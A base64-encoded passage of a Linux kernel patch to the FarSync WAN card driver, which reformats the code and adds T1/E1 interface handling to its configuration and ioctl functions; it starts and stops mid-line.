KTsKKwlpbmZvLT52MjRPcFN0cyA9IEZTVF9SREwoY2FyZCwgdjI0T3BTdHNbaV0pOworCWluZm8t PmNsb2NrU3RhdHVzID0gRlNUX1JEVyhjYXJkLCBjbG9ja1N0YXR1c1tpXSk7CisJaW5mby0+Y2Fi bGVTdGF0dXMgPSBGU1RfUkRXKGNhcmQsIGNhYmxlU3RhdHVzKTsKKwlpbmZvLT5jYXJkTW9kZSA9 IEZTVF9SRFcoY2FyZCwgY2FyZE1vZGUpOworCWluZm8tPnNtY0Zpcm13YXJlVmVyc2lvbiA9IEZT VF9SREwoY2FyZCwgc21jRmlybXdhcmVWZXJzaW9uKTsKKworCS8qCisJICogVGhlIFQyVSBjYW4g cmVwb3J0IGNhYmxlIHByZXNlbmNlIGZvciBib3RoIEEgb3IgQgorCSAqIGluIGJpdHMgMCBhbmQg MSBvZiBjYWJsZVN0YXR1cy4gIFNlZSB3aGljaCBwb3J0IHdlIGFyZSBhbmQgCisJICogZG8gdGhl IG1hcHBpbmcuCisJICovCisJaWYgKGNhcmQtPmZhbWlseSA9PSBGU1RfRkFNSUxZX1RYVSkgewor CQlpZiAocG9ydC0+aW5kZXggPT0gMCkgeworCQkJLyoKKwkJCSAqIFBvcnQgQQorCQkJICovCisJ CQlpbmZvLT5jYWJsZVN0YXR1cyA9IGluZm8tPmNhYmxlU3RhdHVzICYgMTsKKwkJfSBlbHNlIHsK KwkJCS8qCisJCQkgKiBQb3J0IEIKKwkJCSAqLworCQkJaW5mby0+Y2FibGVTdGF0dXMgPSBpbmZv LT5jYWJsZVN0YXR1cyA+PiAxOworCQkJaW5mby0+Y2FibGVTdGF0dXMgPSBpbmZvLT5jYWJsZVN0 YXR1cyAmIDE7CisJCX0KKwl9CisJLyoKKwkgKiBTb21lIGFkZGl0aW9uYWwgYml0cyBpZiB3ZSBh cmUgVEUxCisJICovCisJaWYgKGNhcmQtPnR5cGUgPT0gRlNUX1RZUEVfVEUxKSB7CisJCWluZm8t PmxpbmVTcGVlZCA9IEZTVF9SREwoY2FyZCwgc3VDb25maWcuZGF0YVJhdGUpOworCQlpbmZvLT5j bG9ja1NvdXJjZSA9IEZTVF9SREIoY2FyZCwgc3VDb25maWcuY2xvY2tpbmcpOworCQlpbmZvLT5m cmFtaW5nID0gRlNUX1JEQihjYXJkLCBzdUNvbmZpZy5mcmFtaW5nKTsKKwkJaW5mby0+c3RydWN0 dXJlID0gRlNUX1JEQihjYXJkLCBzdUNvbmZpZy5zdHJ1Y3R1cmUpOworCQlpbmZvLT5pbnRlcmZh Y2UgPSBGU1RfUkRCKGNhcmQsIHN1Q29uZmlnLmludGVyZmFjZSk7CisJCWluZm8tPmNvZGluZyA9 IEZTVF9SREIoY2FyZCwgc3VDb25maWcuY29kaW5nKTsKKwkJaW5mby0+bGluZUJ1aWxkT3V0ID0g RlNUX1JEQihjYXJkLCBzdUNvbmZpZy5saW5lQnVpbGRPdXQpOworCQlpbmZvLT5lcXVhbGl6ZXIg PSBGU1RfUkRCKGNhcmQsIHN1Q29uZmlnLmVxdWFsaXplcik7CisJCWluZm8tPmxvb3BNb2RlID0g RlNUX1JEQihjYXJkLCBzdUNvbmZpZy5sb29wTW9kZSk7CisJCWluZm8tPnJhbmdlID0gRlNUX1JE QihjYXJkLCBzdUNvbmZpZy5yYW5nZSk7CisJCWluZm8tPnR4QnVmZmVyTW9kZSA9IEZTVF9SREIo Y2FyZCwgc3VDb25maWcudHhCdWZmZXJNb2RlKTsKKwkJaW5mby0+cnhCdWZmZXJNb2RlID0gRlNU X1JEQihjYXJkLCBzdUNvbmZpZy5yeEJ1ZmZlck1vZGUpOworCQlpbmZvLT5zdGFydGluZ1Nsb3Qg PSBGU1RfUkRCKGNhcmQsIHN1Q29uZmlnLnN0YXJ0aW5nU2xvdCk7CisJCWluZm8tPmxvc1RocmVz aG9sZCA9IEZTVF9SREIoY2FyZCwgc3VDb25maWcubG9zVGhyZXNob2xkKTsKKwkJaWYgKEZTVF9S REIoY2FyZCwgc3VDb25maWcuZW5hYmxlSWRsZUNvZGUpKQorCQkJaW5mby0+aWRsZUNvZGUgPSBG U1RfUkRCKGNhcmQsIHN1Q29uZmlnLmlkbGVDb2RlKTsKKwkJZWxzZQorCQkJaW5mby0+aWRsZUNv ZGUgPSAwOworCQlpbmZvLT5yZWNlaXZlQnVmZmVyRGVsYXkgPQorCQkgICAgRlNUX1JETChjYXJk LCBzdVN0YXR1cy5yZWNlaXZlQnVmZmVyRGVsYXkpOworCQlpbmZvLT5mcmFtaW5nRXJyb3JDb3Vu dCA9CisJCSAgICBGU1RfUkRMKGNhcmQsIHN1U3RhdHVzLmZyYW1pbmdFcnJvckNvdW50KTsKKwkJ aW5mby0+Y29kZVZpb2xhdGlvbkNvdW50ID0KKwkJICAgIEZTVF9SREwoY2FyZCwgc3VTdGF0dXMu Y29kZVZpb2xhdGlvbkNvdW50KTsKKwkJaW5mby0+Y3JjRXJyb3JDb3VudCA9IEZTVF9SREwoY2Fy ZCwgc3VTdGF0dXMuY3JjRXJyb3JDb3VudCk7CisJCWluZm8tPmxpbmVBdHRlbnVhdGlvbiA9IEZT VF9SREwoY2FyZCwgc3VTdGF0dXMubGluZUF0dGVudWF0aW9uKTsKKwkJaW5mby0+bG9zc09mU2ln bmFsID0gRlNUX1JEQihjYXJkLCBzdVN0YXR1cy5sb3NzT2ZTaWduYWwpOworCQlpbmZvLT5yZWNl aXZlUmVtb3RlQWxhcm0gPQorCQkgICAgRlNUX1JEQihjYXJkLCBzdVN0YXR1cy5yZWNlaXZlUmVt b3RlQWxhcm0pOworCQlpbmZvLT5hbGFybUluZGljYXRpb25TaWduYWwgPQorCQkgICAgRlNUX1JE QihjYXJkLCBzdVN0YXR1cy5hbGFybUluZGljYXRpb25TaWduYWwpOworCX0KIH0KIAotCiBzdGF0 aWMgaW50Ci1mc3Rfc2V0X2lmYWNlICggc3RydWN0IGZzdF9jYXJkX2luZm8gKmNhcmQsIHN0cnVj dCBmc3RfcG9ydF9pbmZvICpwb3J0LAotICAgICAgICAgICAgICAgIHN0cnVjdCBpZnJlcSAqaWZy ICkKK2ZzdF9zZXRfaWZhY2Uoc3RydWN0IGZzdF9jYXJkX2luZm8gKmNhcmQsIHN0cnVjdCBmc3Rf cG9ydF9pbmZvICpwb3J0LAorCSAgICAgIHN0cnVjdCBpZnJlcSAqaWZyKQogewotICAgICAgICBz eW5jX3NlcmlhbF9zZXR0aW5ncyBzeW5jOwotICAgICAgICBpbnQgaTsKKwlzeW5jX3NlcmlhbF9z ZXR0aW5ncyBzeW5jOworCWludCBpOworCisJaWYgKGlmci0+aWZyX3NldHRpbmdzLnNpemUgIT0g c2l6ZW9mIChzeW5jKSkgeworCQlyZXR1cm4gLUVOT01FTTsKKwl9CisKKwlpZiAoY29weV9mcm9t X3VzZXIKKwkgICAgKCZzeW5jLCBpZnItPmlmcl9zZXR0aW5ncy5pZnNfaWZzdS5zeW5jLCBzaXpl b2YgKHN5bmMpKSkgeworCQlyZXR1cm4gLUVGQVVMVDsKKwl9CisKKwlpZiAoc3luYy5sb29wYmFj aykKKwkJcmV0dXJuIC1FSU5WQUw7CisKKwlpID0gcG9ydC0+aW5kZXg7CisKKwlzd2l0Y2ggKGlm ci0+aWZyX3NldHRpbmdzLnR5cGUpIHsKKwljYXNlIElGX0lGQUNFX1YzNToKKwkJRlNUX1dSVyhj YXJkLCBwb3J0Q29uZmlnW2ldLmxpbmVJbnRlcmZhY2UsIFYzNSk7CisJCXBvcnQtPmh3aWYgPSBW MzU7CisJCWJyZWFrOworCisJY2FzZSBJRl9JRkFDRV9WMjQ6CisJCUZTVF9XUlcoY2FyZCwgcG9y dENvbmZpZ1tpXS5saW5lSW50ZXJmYWNlLCBWMjQpOworCQlwb3J0LT5od2lmID0gVjI0OworCQli cmVhazsKKworCWNhc2UgSUZfSUZBQ0VfWDIxOgorCQlGU1RfV1JXKGNhcmQsIHBvcnRDb25maWdb aV0ubGluZUludGVyZmFjZSwgWDIxKTsKKwkJcG9ydC0+aHdpZiA9IFgyMTsKKwkJYnJlYWs7CisK KwljYXNlIElGX0lGQUNFX1gyMUQ6CisJCUZTVF9XUlcoY2FyZCwgcG9ydENvbmZpZ1tpXS5saW5l SW50ZXJmYWNlLCBYMjFEKTsKKwkJcG9ydC0+aHdpZiA9IFgyMUQ7CisJCWJyZWFrOworCisJY2Fz ZSBJRl9JRkFDRV9UMToKKwkJRlNUX1dSVyhjYXJkLCBwb3J0Q29uZmlnW2ldLmxpbmVJbnRlcmZh Y2UsIFQxKTsKKwkJcG9ydC0+aHdpZiA9IFQxOworCQlicmVhazsKKworCWNhc2UgSUZfSUZBQ0Vf RTE6CisJCUZTVF9XUlcoY2FyZCwgcG9ydENvbmZpZ1tpXS5saW5lSW50ZXJmYWNlLCBFMSk7CisJ CXBvcnQtPmh3aWYgPSBFMTsKKwkJYnJlYWs7CisKKwljYXNlIElGX0lGQUNFX1NZTkNfU0VSSUFM OgorCQlicmVhazsKKworCWRlZmF1bHQ6CisJCXJldHVybiAtRUlOVkFMOworCX0KIAotICAgICAg ICBpZiAoY29weV9mcm9tX3VzZXIgKCZzeW5jLCBpZnItPmlmcl9zZXR0aW5ncy5pZnNfaWZzdS5z eW5jLAotCQkJICAgIHNpemVvZiAoc3luYykpKQotICAgICAgICAgICAgICAgIHJldHVybiAtRUZB VUxUOwotCi0gICAgICAgIGlmICggc3luYy5sb29wYmFjayApCi0gICAgICAgICAgICAgICAgcmV0 dXJuIC1FSU5WQUw7Ci0KLSAgICAgICAgaSA9IHBvcnQtPmluZGV4OwotCi0gICAgICAgIHN3aXRj aCAoaWZyLT5pZnJfc2V0dGluZ3MudHlwZSkKLSAgICAgICAgewotICAgICAgICBjYXNlIElGX0lG QUNFX1YzNToKLSAgICAgICAgICAgICAgICBGU1RfV1JXICggY2FyZCwgcG9ydENvbmZpZ1tpXS5s aW5lSW50ZXJmYWNlLCBWMzUgKTsKLSAgICAgICAgICAgICAgICBwb3J0LT5od2lmID0gVjM1Owot ICAgICAgICAgICAgICAgIGJyZWFrOwotCi0gICAgICAgIGNhc2UgSUZfSUZBQ0VfVjI0OgotICAg ICAgICAgICAgICAgIEZTVF9XUlcgKCBjYXJkLCBwb3J0Q29uZmlnW2ldLmxpbmVJbnRlcmZhY2Us IFYyNCApOwotICAgICAgICAgICAgICAgIHBvcnQtPmh3aWYgPSBWMjQ7Ci0gICAgICAgICAgICAg ICAgYnJlYWs7Ci0KLSAgICAgICAgY2FzZSBJRl9JRkFDRV9YMjE6Ci0gICAgICAgICAgICAgICAg RlNUX1dSVyAoIGNhcmQsIHBvcnRDb25maWdbaV0ubGluZUludGVyZmFjZSwgWDIxICk7Ci0gICAg ICAgICAgICAgICAgcG9ydC0+aHdpZiA9IFgyMTsKLSAgICAgICAgICAgICAgICBicmVhazsKLQot ICAgICAgICBjYXNlIElGX0lGQUNFX1NZTkNfU0VSSUFMOgotICAgICAgICAgICAgICAgIGJyZWFr OwotCi0gICAgICAgIGRlZmF1bHQ6Ci0gICAgICAgICAgICAgICAgcmV0dXJuIC1FSU5WQUw7Ci0g ICAgICAgIH0KLQotICAgICAgICBzd2l0Y2ggKCBzeW5jLmNsb2NrX3R5cGUgKQotICAgICAgICB7 Ci0gICAgICAgIGNhc2UgQ0xPQ0tfRVhUOgotICAgICAgICAgICAgICAgIEZTVF9XUkIgKCBjYXJk LCBwb3J0Q29uZmlnW2ldLmludGVybmFsQ2xvY2ssIEVYVENMSyApOwotICAgICAgICAgICAgICAg IGJyZWFrOwotCi0gICAgICAgIGNhc2UgQ0xPQ0tfSU5UOgotICAgICAgICAgICAgICAgIEZTVF9X UkIgKCBjYXJkLCBwb3J0Q29uZmlnW2ldLmludGVybmFsQ2xvY2ssIElOVENMSyApOwotICAgICAg ICAgICAgICAgIGJyZWFrOwotCi0gICAgICAgIGRlZmF1bHQ6Ci0gICAgICAgICAgICAgICAgcmV0 dXJuIC1FSU5WQUw7Ci0gICAgICAgIH0KLSAgICAgICAgRlNUX1dSTCAoIGNhcmQsIHBvcnRDb25m aWdbaV0ubGluZVNwZWVkLCBzeW5jLmNsb2NrX3JhdGUgKTsKLSAgICAgICAgcmV0dXJuIDA7CisJ c3dpdGNoIChzeW5jLmNsb2NrX3R5cGUpIHsKKwljYXNlIENMT0NLX0VYVDoKKwkJRlNUX1dSQihj YXJkLCBwb3J0Q29uZmlnW2ldLmludGVybmFsQ2xvY2ssIEVYVENMSyk7CisJCWJyZWFrOworCisJ Y2FzZSBDTE9DS19JTlQ6CisJCUZTVF9XUkIoY2FyZCwgcG9ydENvbmZpZ1tpXS5pbnRlcm5hbENs b2NrLCBJTlRDTEspOworCQlicmVhazsKKworCWRlZmF1bHQ6CisJCXJldHVybiAtRUlOVkFMOwor CX0KKwlGU1RfV1JMKGNhcmQsIHBvcnRDb25maWdbaV0ubGluZVNwZWVkLCBzeW5jLmNsb2NrX3Jh dGUpOworCXJldHVybiAwOwogfQogCiBzdGF0aWMgaW50Ci1mc3RfZ2V0X2lmYWNlICggc3RydWN0 IGZzdF9jYXJkX2luZm8gKmNhcmQsIHN0cnVjdCBmc3RfcG9ydF9pbmZvICpwb3J0LAotICAgICAg ICAgICAgICAgIHN0cnVjdCBpZnJlcSAqaWZyICkKK2ZzdF9nZXRfaWZhY2Uoc3RydWN0IGZzdF9j YXJkX2luZm8gKmNhcmQsIHN0cnVjdCBmc3RfcG9ydF9pbmZvICpwb3J0LAorCSAgICAgIHN0cnVj dCBpZnJlcSAqaWZyKQogewotICAgICAgICBzeW5jX3NlcmlhbF9zZXR0aW5ncyBzeW5jOwotICAg ICAgICBpbnQgaTsKKwlzeW5jX3NlcmlhbF9zZXR0aW5ncyBzeW5jOworCWludCBpOwogCi0gICAg ICAgIC8qIEZpcnN0IGNoZWNrIHdoYXQgbGluZSB0eXBlIGlzIHNldCwgd2UnbGwgZGVmYXVsdCB0 byByZXBvcnRpbmcgWC4yMQotICAgICAgICAgKiBpZiBub3RoaW5nIGlzIHNldCBhcyBJRl9JRkFD RV9TWU5DX1NFUklBTCBpbXBsaWVzIGl0IGNhbid0IGJlCi0gICAgICAgICAqIGNoYW5nZWQKLSAg ICAgICAgICovCi0gICAgICAgIHN3aXRjaCAoIHBvcnQtPmh3aWYgKQotICAgICAgICB7Ci0gICAg ICAgIGNhc2UgVjM1OgotICAgICAgICAgICAgICAgIGlmci0+aWZyX3NldHRpbmdzLnR5cGUgPSBJ Rl9JRkFDRV9WMzU7Ci0gICAgICAgICAgICAgICAgYnJlYWs7Ci0gICAgICAgIGNhc2UgVjI0Ogot ICAgICAgICAgICAgICAgIGlmci0+aWZyX3NldHRpbmdzLnR5cGUgPSBJRl9JRkFDRV9WMjQ7Ci0g ICAgICAgICAgICAgICAgYnJlYWs7Ci0gICAgICAgIGNhc2UgWDIxOgotICAgICAgICBkZWZhdWx0 OgotICAgICAgICAgICAgICAgIGlmci0+aWZyX3NldHRpbmdzLnR5cGUgPSBJRl9JRkFDRV9YMjE7 Ci0gICAgICAgICAgICAgICAgYnJlYWs7Ci0gICAgICAgIH0KLQotCWlmIChpZnItPmlmcl9zZXR0 aW5ncy5zaXplIDwgc2l6ZW9mKHN5bmMpKSB7Ci0JCWlmci0+aWZyX3NldHRpbmdzLnNpemUgPSBz aXplb2Yoc3luYyk7IC8qIGRhdGEgc2l6ZSB3YW50ZWQgKi8KLQkJcmV0dXJuIC1FTk9CVUZTOwot CX0KLQotICAgICAgICBpID0gcG9ydC0+aW5kZXg7Ci0gICAgICAgIHN5bmMuY2xvY2tfcmF0ZSA9 IEZTVF9SREwgKCBjYXJkLCBwb3J0Q29uZmlnW2ldLmxpbmVTcGVlZCApOwotICAgICAgICAvKiBM dWNreSBjYXJkIGFuZCBsaW51eCB1c2Ugc2FtZSBlbmNvZGluZyBoZXJlICovCi0gICAgICAgIHN5 bmMuY2xvY2tfdHlwZSA9IEZTVF9SREIgKCBjYXJkLCBwb3J0Q29uZmlnW2ldLmludGVybmFsQ2xv Y2sgKTsKLSAgICAgICAgc3luYy5sb29wYmFjayA9IDA7Ci0KLSAgICAgICAgaWYgKGNvcHlfdG9f dXNlciAoaWZyLT5pZnJfc2V0dGluZ3MuaWZzX2lmc3Uuc3luYywgJnN5bmMsCi0JCQkgIHNpemVv ZihzeW5jKSkpCi0gICAgICAgICAgICAgICAgcmV0dXJuIC1FRkFVTFQ7CisJLyogRmlyc3QgY2hl Y2sgd2hhdCBsaW5lIHR5cGUgaXMgc2V0LCB3ZSdsbCBkZWZhdWx0IHRvIHJlcG9ydGluZyBYLjIx CisJICogaWYgbm90aGluZyBpcyBzZXQgYXMgSUZfSUZBQ0VfU1lOQ19TRVJJQUwgaW1wbGllcyBp dCBjYW4ndCBiZQorCSAqIGNoYW5nZWQKKwkgKi8KKwlzd2l0Y2ggKHBvcnQtPmh3aWYpIHsKKwlj YXNlIEUxOgorCQlpZnItPmlmcl9zZXR0aW5ncy50eXBlID0gSUZfSUZBQ0VfRTE7CisJCWJyZWFr OworCWNhc2UgVDE6CisJCWlmci0+aWZyX3NldHRpbmdzLnR5cGUgPSBJRl9JRkFDRV9UMTsKKwkJ YnJlYWs7CisJY2FzZSBWMzU6CisJCWlmci0+aWZyX3NldHRpbmdzLnR5cGUgPSBJRl9JRkFDRV9W MzU7CisJCWJyZWFrOworCWNhc2UgVjI0OgorCQlpZnItPmlmcl9zZXR0aW5ncy50eXBlID0gSUZf SUZBQ0VfVjI0OworCQlicmVhazsKKwljYXNlIFgyMUQ6CisJCWlmci0+aWZyX3NldHRpbmdzLnR5 cGUgPSBJRl9JRkFDRV9YMjFEOworCQlicmVhazsKKwljYXNlIFgyMToKKwlkZWZhdWx0OgorCQlp ZnItPmlmcl9zZXR0aW5ncy50eXBlID0gSUZfSUZBQ0VfWDIxOworCQlicmVhazsKKwl9CisJaWYg KGlmci0+aWZyX3NldHRpbmdzLnNpemUgPT0gMCkgeworCQlyZXR1cm4gMDsJLyogb25seSB0eXBl IHJlcXVlc3RlZCAqLworCX0KKwlpZiAoaWZyLT5pZnJfc2V0dGluZ3Muc2l6ZSA8IHNpemVvZiAo c3luYykpIHsKKwkJcmV0dXJuIC1FTk9NRU07CisJfQogCi0gICAgICAgIHJldHVybiAwOwotfQor CWkgPSBwb3J0LT5pbmRleDsKKwlzeW5jLmNsb2NrX3JhdGUgPSBGU1RfUkRMKGNhcmQsIHBvcnRD b25maWdbaV0ubGluZVNwZWVkKTsKKwkvKiBMdWNreSBjYXJkIGFuZCBsaW51eCB1c2Ugc2FtZSBl bmNvZGluZyBoZXJlICovCisJc3luYy5jbG9ja190eXBlID0gRlNUX1JEQihjYXJkLCBwb3J0Q29u ZmlnW2ldLmludGVybmFsQ2xvY2spID09CisJICAgIElOVENMSyA/IENMT0NLX0lOVCA6IENMT0NL X0VYVDsKKwlzeW5jLmxvb3BiYWNrID0gMDsKKworCWlmIChjb3B5X3RvX3VzZXIoaWZyLT5pZnJf c2V0dGluZ3MuaWZzX2lmc3Uuc3luYywgJnN5bmMsIHNpemVvZiAoc3luYykpKSB7CisJCXJldHVy biAtRUZBVUxUOworCX0KIAorCWlmci0+aWZyX3NldHRpbmdzLnNpemUgPSBzaXplb2YgKHN5bmMp OworCXJldHVybiAwOworfQogCiBzdGF0aWMgaW50Ci1mc3RfaW9jdGwgKCBzdHJ1Y3QgbmV0X2Rl dmljZSAqZGV2LCBzdHJ1Y3QgaWZyZXEgKmlmciwgaW50IGNtZCApCitmc3RfaW9jdGwoc3RydWN0 IG5ldF9kZXZpY2UgKmRldiwgc3RydWN0IGlmcmVxICppZnIsIGludCBjbWQpCiB7Ci0gICAgICAg IHN0cnVjdCBmc3RfY2FyZF9pbmZvICpjYXJkOwotICAgICAgICBzdHJ1Y3QgZnN0X3BvcnRfaW5m byAqcG9ydDsKLSAgICAgICAgc3RydWN0IGZzdGlvY193cml0ZSB3cnRoZHI7Ci0gICAgICAgIHN0 cnVjdCBmc3Rpb2NfaW5mbyBpbmZvOwotICAgICAgICB1bnNpZ25lZCBsb25nIGZsYWdzOwotCi0g ICAgICAgIGRiZyAoIERCR19JT0NUTCwiaW9jdGw6ICV4LCAlcFxuIiwgY21kLCBpZnItPmlmcl9k YXRhICk7Ci0KLSAgICAgICAgcG9ydCA9IGRldl90b19wb3J0ICggZGV2ICk7Ci0gICAgICAgIGNh cmQgPSBwb3J0LT5jYXJkOwotCi0gICAgICAgIGlmICggIWNhcGFibGUgKCBDQVBfTkVUX0FETUlO ICkpCi0gICAgICAgICAgICAgICAgcmV0dXJuIC1FUEVSTTsKLQotICAgICAgICBzd2l0Y2ggKCBj bWQgKQotICAgICAgICB7Ci0gICAgICAgIGNhc2UgRlNUQ1BVUkVTRVQ6Ci0gICAgICAgICAgICAg ICAgZnN0X2NwdXJlc2V0ICggY2FyZCApOwotICAgICAgICAgICAgICAgIGNhcmQtPnN0YXRlID0g RlNUX1JFU0VUOwotICAgICAgICAgICAgICAgIHJldHVybiAwOwotCi0gICAgICAgIGNhc2UgRlNU Q1BVUkVMRUFTRToKLSAgICAgICAgICAgICAgICBmc3RfY3B1cmVsZWFzZSAoIGNhcmQgKTsKLSAg ICAgICAgICAgICAgICBjYXJkLT5zdGF0ZSA9IEZTVF9TVEFSVElORzsKLSAgICAgICAgICAgICAg ICByZXR1cm4gMDsKLQotICAgICAgICBjYXNlIEZTVFdSSVRFOiAgICAgICAgICAgICAgICAgIC8q IENvZGUgd3JpdGUgKGRvd25sb2FkKSAqLwotCi0gICAgICAgICAgICAgICAgLyogRmlyc3QgY29w eSBpbiB0aGUgaGVhZGVyIHdpdGggdGhlIGxlbmd0aCBhbmQgb2Zmc2V0IG9mIGRhdGEKLSAgICAg ICAgICAgICAgICAgKiB0byB3cml0ZQotICAgICAgICAgICAgICAgICAqLwotICAgICAgICAgICAg ICAgIGlmICggaWZyLT5pZnJfZGF0YSA9PSBOVUxMICkKLSAgICAgICAgICAgICAgICB7Ci0gICAg ICAgICAgICAgICAgICAgICAgICByZXR1cm4gLUVJTlZBTDsKLSAgICAgICAgICAgICAgICB9Ci0g ICAgICAgICAgICAgICAgaWYgKCBjb3B5X2Zyb21fdXNlciAoICZ3cnRoZHIsIGlmci0+aWZyX2Rh dGEsCi0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc2l6ZW9mICggc3Ry dWN0IGZzdGlvY193cml0ZSApKSkKLSAgICAgICAgICAgICAgICB7Ci0gICAgICAgICAgICAgICAg ICAgICAgICByZXR1cm4gLUVGQVVMVDsKLSAgICAgICAgICAgICAgICB9Ci0KLSAgICAgICAgICAg ICAgICAvKiBTYW5pdHkgY2hlY2sgdGhlIHBhcmFtZXRlcnMuIFdlIGRvbid0IHN1cHBvcnQgcGFy dGlhbCB3cml0ZXMKLSAgICAgICAgICAgICAgICAgKiB3aGVuIGdvaW5nIG92ZXIgdGhlIHRvcAot ICAgICAgICAgICAgICAgICAqLwotICAgICAgICAgICAgICAgIGlmICggd3J0aGRyLnNpemUgPiBG U1RfTUVNU0laRSB8fCB3cnRoZHIub2Zmc2V0ID4gRlNUX01FTVNJWkUKLQkJCQl8fCB3cnRoZHIu c2l6ZSArIHdydGhkci5vZmZzZXQgPiBGU1RfTUVNU0laRSApCi0gICAgICAgICAgICAgICAgewot ICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIC1FTlhJTzsKLSAgICAgICAgICAgICAgICB9 Ci0KLSAgICAgICAgICAgICAgICAvKiBOb3cgY29weSB0aGUgZGF0YSB0byB0aGUgY2FyZC4KLSAg ICAgICAgICAgICAgICAgKiBUaGlzIHdpbGwgcHJvYmFibHkgYnJlYWsgb24gc29tZSBhcmNoaXRl Y3R1cmVzLgotICAgICAgICAgICAgICAgICAqIEknbGwgZml4IGl0IHdoZW4gSSBoYXZlIHNvbWV0 aGluZyB0byB0ZXN0IG9uLgotICAgICAgICAgICAgICAgICAqLwotICAgICAgICAgICAgICAgIGlm ICggY29weV9mcm9tX3VzZXIgKCBjYXJkLT5tZW0gKyB3cnRoZHIub2Zmc2V0LAotICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICBpZnItPmlmcl9kYXRhICsgc2l6ZW9mICggc3RydWN0IGZz dGlvY193cml0ZSApLAotICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3cnRoZHIuc2l6 ZSApKQotICAgICAgICAgICAgICAgIHsKLSAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAt RUZBVUxUOwotICAgICAgICAgICAgICAgIH0KLQotICAgICAgICAgICAgICAgIC8qIFdyaXRlcyB0 byB0aGUgbWVtb3J5IG9mIGEgY2FyZCBpbiB0aGUgcmVzZXQgc3RhdGUgY29uc3RpdHV0ZQotICAg ICAgICAgICAgICAgICAqIGEgZG93bmxvYWQKLSAgICAgICAgICAgICAgICAgKi8KLSAgICAgICAg ICAgICAgICBpZiAoIGNhcmQtPnN0YXRlID09IEZTVF9SRVNFVCApCi0gICAgICAgICAgICAgICAg ewotICAgICAgICAgICAgICAgICAgICAgICAgY2FyZC0+c3RhdGUgPSBGU1RfRE9XTkxPQUQ7Ci0g ICAgICAgICAgICAgICAgfQotICAgICAgICAgICAgICAgIHJldHVybiAwOwotCi0gICAgICAgIGNh c2UgRlNUR0VUQ09ORjoKLQotICAgICAgICAgICAgICAgIC8qIElmIGNhcmQgaGFzIGp1c3QgYmVl biBzdGFydGVkIGNoZWNrIHRoZSBzaGFyZWQgbWVtb3J5IGNvbmZpZwotICAgICAgICAgICAgICAg ICAqIHZlcnNpb24gYW5kIG1hcmtlcgotICAgICAgICAgICAgICAgICAqLwotICAgICAgICAgICAg ICAgIGlmICggY2FyZC0+c3RhdGUgPT0gRlNUX1NUQVJUSU5HICkKLSAgICAgICAgICAgICAgICB7 Ci0gICAgICAgICAgICAgICAgICAgICAgICBjaGVja19zdGFydGVkX29rICggY2FyZCApOwotCi0g ICAgICAgICAgICAgICAgICAgICAgICAvKiBJZiBldmVyeXRoaW5nIGNoZWNrZWQgb3V0IGVuYWJs ZSBjYXJkIGludGVycnVwdHMgKi8KLSAgICAgICAgICAgICAgICAgICAgICAgIGlmICggY2FyZC0+ c3RhdGUgPT0gRlNUX1JVTk5JTkcgKQotICAgICAgICAgICAgICAgICAgICAgICAgewotICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICBzcGluX2xvY2tfaXJxc2F2ZSAoICZjYXJkLT5jYXJk X2xvY2ssIGZsYWdzICk7Ci0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZzdF9jbGVh cl9pbnRyICggY2FyZCApOwotICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBGU1RfV1JC ICggY2FyZCwgaW50ZXJydXB0SGFuZHNoYWtlLCAweEVFICk7Ci0gICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgIHNwaW5fdW5sb2NrX2lycXJlc3RvcmUgKCAmY2FyZC0+Y2FyZF9sb2NrLAot ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgIGZsYWdzICk7Ci0gICAgICAgICAgICAgICAgICAgICAgICB9Ci0gICAgICAgICAgICAg ICAgfQotCi0gICAgICAgICAgICAgICAgaWYgKCBpZnItPmlmcl9kYXRhID09IE5VTEwgKQotICAg ICAgICAgICAgICAgIHsKLSAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAtRUlOVkFMOwot ICAgICAgICAgICAgICAgIH0KLQotICAgICAgICAgICAgICAgIGdhdGhlcl9jb25mX2luZm8gKCBj YXJkLCBwb3J0LCAmaW5mbyApOwotCi0gICAgICAgICAgICAgICAgaWYgKCBjb3B5X3RvX3VzZXIg KCBpZnItPmlmcl9kYXRhLCAmaW5mbywgc2l6ZW9mICggaW5mbyApKSkKLSAgICAgICAgICAgICAg ICB7Ci0gICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gLUVGQVVMVDsKLSAgICAgICAgICAg ICAgICB9Ci0gICAgICAgICAgICAgICAgcmV0dXJuIDA7Ci0KLSAgICAgICAgY2FzZSBGU1RTRVRD T05GOgotCi0gICAgICAgICAgICAgICAgLyogTW9zdCBvZiB0aGUgc2V0dGluZyBoYXZlIGJlZW4g bW92ZWQgdG8gdGhlIGdlbmVyaWMgaW9jdGxzCi0gICAgICAgICAgICAgICAgICogdGhpcyBqdXN0 IGNvdmVycyBkZWJ1ZyBhbmQgYm9hcmQgaWRlbnQgbW9kZSBub3cKLSAgICAgICAgICAgICAgICAg Ki8KLSAgICAgICAgICAgICAgICBpZiAoIGNvcHlfZnJvbV91c2VyICggJmluZm8sICBpZnItPmlm cl9kYXRhLCBzaXplb2YgKCBpbmZvICkpKQotICAgICAgICAgICAgICAgIHsKLSAgICAgICAgICAg ICAgICAgICAgICAgIHJldHVybiAtRUZBVUxUOwotICAgICAgICAgICAgICAgIH0KLQotICAgICAg ICAgICAgICAgIHJldHVybiBzZXRfY29uZl9mcm9tX2luZm8gKCBjYXJkLCBwb3J0LCAmaW5mbyAp OwotCi0gICAgICAgIGNhc2UgU0lPQ1dBTkRFVjoKLSAgICAgICAgICAgICAgICBzd2l0Y2ggKGlm ci0+aWZyX3NldHRpbmdzLnR5cGUpCi0gICAgICAgICAgICAgICAgewotICAgICAgICAgICAgICAg IGNhc2UgSUZfR0VUX0lGQUNFOgotICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZzdF9n ZXRfaWZhY2UgKCBjYXJkLCBwb3J0LCBpZnIgKTsKLQotICAgICAgICAgICAgICAgIGNhc2UgSUZf 